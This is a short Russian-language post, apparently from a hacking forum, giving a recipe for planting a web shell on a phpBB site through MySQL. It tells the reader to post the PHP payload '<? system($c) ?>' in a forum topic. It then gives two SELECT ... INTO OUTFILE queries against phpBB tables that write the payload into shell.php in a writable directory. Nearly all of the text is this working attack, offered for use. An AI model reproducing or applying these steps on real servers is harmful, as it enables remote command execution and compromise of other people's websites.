Братан ипользуй MySQL !

Пишешь на форум <? system($c) ?> в любой топик!
post_id - адрес твоего сооБщения

SELECT post_text FROM phpbb_posts_text WHERE post_id =123456 INTO OUTFILE "/full/path/to/rw/dir/shell.php"


SELECT word FROM phpbb_words WHERE word_id = 1 INTO OUTFILE "/full/path/to/rw/dir/shell.php"

Спасибо ребятам с Web-Hack!!!